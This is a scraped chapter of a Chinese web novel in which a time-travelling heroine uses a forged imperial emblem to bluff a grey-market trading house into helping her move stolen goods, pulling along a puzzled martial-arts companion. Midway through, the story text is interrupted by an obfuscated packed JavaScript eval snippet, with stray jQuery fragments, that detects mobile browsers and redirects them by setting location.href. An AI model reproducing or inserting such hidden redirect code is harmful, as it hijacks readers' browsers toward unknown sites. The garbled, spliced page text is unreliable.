14. 云锦楼
作品:《赴京华》 县令府被不知名的小贼洗劫了一遭,徐县令雷霆震怒,整个岭藩县都有些萧瑟,人人能不出门就不出门,生怕被迁怒。
穆亭晚也暂停了流霞笺的业务,这几日连墨韵斋也不去了。她字也认得差不多,便宅在潘家试着提笔去写,习惯了用毛笔之后,看着也很像样了。
只是,若是让岭藩县的文人看到她书案上铺满了画得一片狼藉的流霞笺,恐怕能气得昏过去。
好在他们是不会来猪肉铺这种三教九流待的地方,也免了一番心疼跳脚。
可他们不来,却有人天天来。
此人便是宋行之。
穆亭晚想起这人,不禁有些头疼。她本以为不过是萍水相逢,这事儿过去便各奔东西。谁知宋行之比她以为的还要闲,而且似乎对她抱有极大的好奇之心。
她有什么好让人好奇的?
宋行之表示:“比如,你怎么这么沉得住气?”
那天之后,穆亭晚绝口不提销赃的事儿,淡定得让人叹为观止。宋行之在一旁看着,几乎要怀疑是自己的记忆出了差错。
她好像真的什么也没做过似的。
穆亭晚悬着手腕,一笔一划地写了个“等”字。她望着这个字,微微一笑:“顶风作案不可取,既然什么也不能做,何必自寻烦恼。就当它不存在,不是很正常么?”
说是这样说,可如她这般淡定也实属少见。
宋行之摇头:“那就这么放着也不合适吧?说不定哪天就被搜出来了,你打算怎么办?”
穆亭晚抬眼打量他,忽然挑眉一笑。
宋行之被她看得后背发凉,警惕地说:“你笑什么?”
穆亭晚悠悠然道:“既然你这么好奇,那就跟我一起去吧。”
去哪儿呢?
宋行之不知道,他也没问,就直接跟着穆亭晚走了。反倒是穆亭晚频频看他,心中腹诽。
这人未免太单纯了吧?真不怕她反手把他卖了?
宋行之自然是不怕。他虽然很少出门,但他很明白自己的武功在当世是什么水平,有恃无恐。
两人一个不了解对方的身手,一个不知道对方的心计,竟也搭起伙来同行一程,真是天意难测。
不多时,他们便到了目的地。
宋行之仰头,一字一顿地念出那牌匾:“云锦楼?”
他心念一动,转头看向穆亭晚。
穆亭晚却没看他,只说了一句:“你非要跟来,那等会无论我说什么,你都不准反驳,不然我跟你没完。”
话音一落,她不再停留,踏进了楼中。
穆亭晚在墨韵斋的那几天不是白待的。它虽然做的是文房笔墨,到底也是生意,免不了要有些门路,才能压下成本,卖得出去。
云锦楼与墨韵斋没有什么直接干系,但它在岭藩县,不,应该说整个祤朝的商人那儿都是有名有姓的存在。
它做的,是长途行商。
穆亭晚觉得这云锦楼有点像镖局的前身,不过相较之下还是有些区别的。比如,云锦楼不及镖局那样合法。
它处于一个灰色地带,黑白两道的活都接,却能存活至今。
正因如此,不少人猜测这云锦楼恐怕不只是江湖的小打小闹,背后不知是哪位大人物的手笔。
而穆亭晚看中的,正是这一点。
宋行之对云锦楼也有所耳闻,他听了穆亭晚的那句“警告”,只以为她是当他不知这是什么地方,到时候怪她连累自己。
那怎么可能呢?这世上有什么热闹是他不能看的,孑然一身,谁能奈何得了他。
但宋行之很快就知道了,穆亭晚的深意究竟是什么。
他跟她前后脚进了云锦楼,楼里的伙计抬头看了他们一眼,却不像别家做生意那样热情,只不咸不淡地说:“都挂了牌子,自己看吧。”
穆亭晚粗粗扫了一圈,果然见到不少木牌,规模,时间,地点,价钱,俱已标得清清楚楚。
可她看完了,却没动,定定看向那伙计,蓦然笑了。
“我要做的生意不在这里,叫你们管事的来。”
低头看着账本的伙计眯眼看向她,慢慢地说:“你说叫就叫?姑娘,你总该让我跟管事的有个交代,不然你一拍衣袖就走了,我可怎么办。”
穆亭晚早料到他会这么说,也不纠缠,抬手递给他一张纸。
伙计一眼看出那正是如今风头无两的流霞笺。确实有些意思,但跟云锦楼的生意比起来实在不够看,他摇头笑笑,刚想回绝,却发现那纸笺并非空白的。
上面清清楚楚地画着一幅龙纹图样,底下一个小字。
瑾。
天成帝尊讳,正是沈瑾初。
他浑身一震,心里冒出个小心翼翼的猜测来。
他并没有见过那位皇帝的皇龙佩,也不知穆亭晚是不是在诓他,但涉及皇家事,确实不是他能决定的。
伙计在纸笺和穆亭晚之间来回看了几遍,终于妥协,道了声“稍待”,便回身往楼上去了。
穆亭晚不动声色地把纸收了回来。
这图样是现代拼凑一些文字记载和同时期的图样还原出来的,实在很难保证真实性。但是她没见过,这地方大多数人不也没见过么?
当当鸡毛令箭,够用了。
她这一番折腾,宋行之是一点也没看懂:“你不是来销赃的?”
穆亭晚眉心一跳,下意识地看向周围,没人注意这边。
她想起之前在谢咏春那儿见识过的传音,稍稍放下心来,终于把注意力放到宋行之那儿:“我当然是为这个来的。”
要不她干嘛这么费尽心思。
那一批的财物虽然贵重,却没几个能直接当钱用的。若是在岭藩县转手折现,跟自投罗网有什么区别?
可要出城,也不是那么容易的。
几日过去,各方压力之下,徐县令不得不解了封城令,但城门处各项检查比之前严格了不止一点半点。云锦楼明码标价摆出来的牌子可不包含这些,只护送,绝不会帮忙掩人耳目。
不是做不到,只是并非所有人都值得动用那些手段。就如那伙计说的一样,必得给他们一个理由才是。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033962|162383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
穆亭晚垂下眼睛沉思。
她本就不是这朝代的人,任凭这云锦楼的主人手眼通天,也决计查不到任何蛛丝马迹。
查不到,对于那人来说就意味着不知底细,不明敌友。她再忽悠几句,编造一个强势背景易如反掌。
毕竟出门在外,身份都是自己给的。
只是这身份不能直接套在自己头上。哪有主人家亲自奔走的道理?
她上下打量一遍宋行之,又露出迷之微笑。
宋行之:“?”
他还没来得及多问,那伙计已经折返回来,向穆亭晚遥遥躬身,做了个“请”的手势。
穆亭晚也不客气,冲他轻轻点头,便跟着他上了楼。
她一回身,见宋行之还站在原地,甚至还挥手招呼,笑得春暖花开。
不对劲,十分有十二分的不对劲。
但临门一脚,宋行之攥了攥掌心,运起内力,还是抬步跟了上去。
这几日在旁边看着,他虽然不敢说有多了解她,可也觉着她不是什么宵小奸诈之徒。宋行之对她有几分信任,对自己的实力更有十分自信。
上得楼去,穆亭晚已经毫不拘谨地坐下了,对面一位灰衣老者,默然看着她。
沉寂良久,她竟半分也不急似的,盯着杯中清亮的茶水,偶尔喝上一点。
直到最后,却是那老者打破沉默,且笑且叹:“姑娘心性实在淡然。既如此,便由我来输这一城吧。敢问今日姑娘所示图样,从何而来?又是什么?”
穆亭晚这才抬头:“是什么,阁下心中不是有所猜测吗?”
灰衣老者不动声色地说:“是有猜测,但此物理应长伴先贤,安眠于地底,姑娘年纪尚轻,怎能见过呢?”
穆亭晚望着他,却说:“你今日若是坚持不肯见我,或许我还信你一无所知,既然请了我来,何必拐弯抹角。我不仅知道这东西如今下落不明,我还知道,这并非近日之事,而是早就丢失,难以寻回了。阁下心中,对此想必也跟明镜似的。”
灰衣老者眼皮一跳。
穆亭晚深深地看着他,却道:“虽是死物,可盛名已久,落到有心之人手中,妙用不知几何。而我家老爷恰好有些线索,不如合作,若能寻得,也是一桩机缘。”
此话一出,灰衣老者不禁有些果然如此的感慨。
这姑娘若真孤身一人,岂敢沾染这种事,果然是背靠大山,马前卒子罢了。
他捻了捻长须,道:“若要合作,尊驾难道只派姑娘一人,其余全由我云锦楼负担么?”
穆亭晚笑笑,眼都不眨地说:“阁下也不是云锦楼主,毕竟这小小岭藩县,怎会有太多人手浪费于此?待出了此城,甚至是,去了京都,自然助者甚众。”
老者仍是犹疑。
穆亭晚心知肚明,趁热打铁,索性抬起手来,指了指门口的宋行之。
“还有那位,便是我主家的暗卫,若是打起来,不输你们吧?”
宋行之:“啊?”
他想说些什么,又想起答应了她的事,憋屈地咽了下去。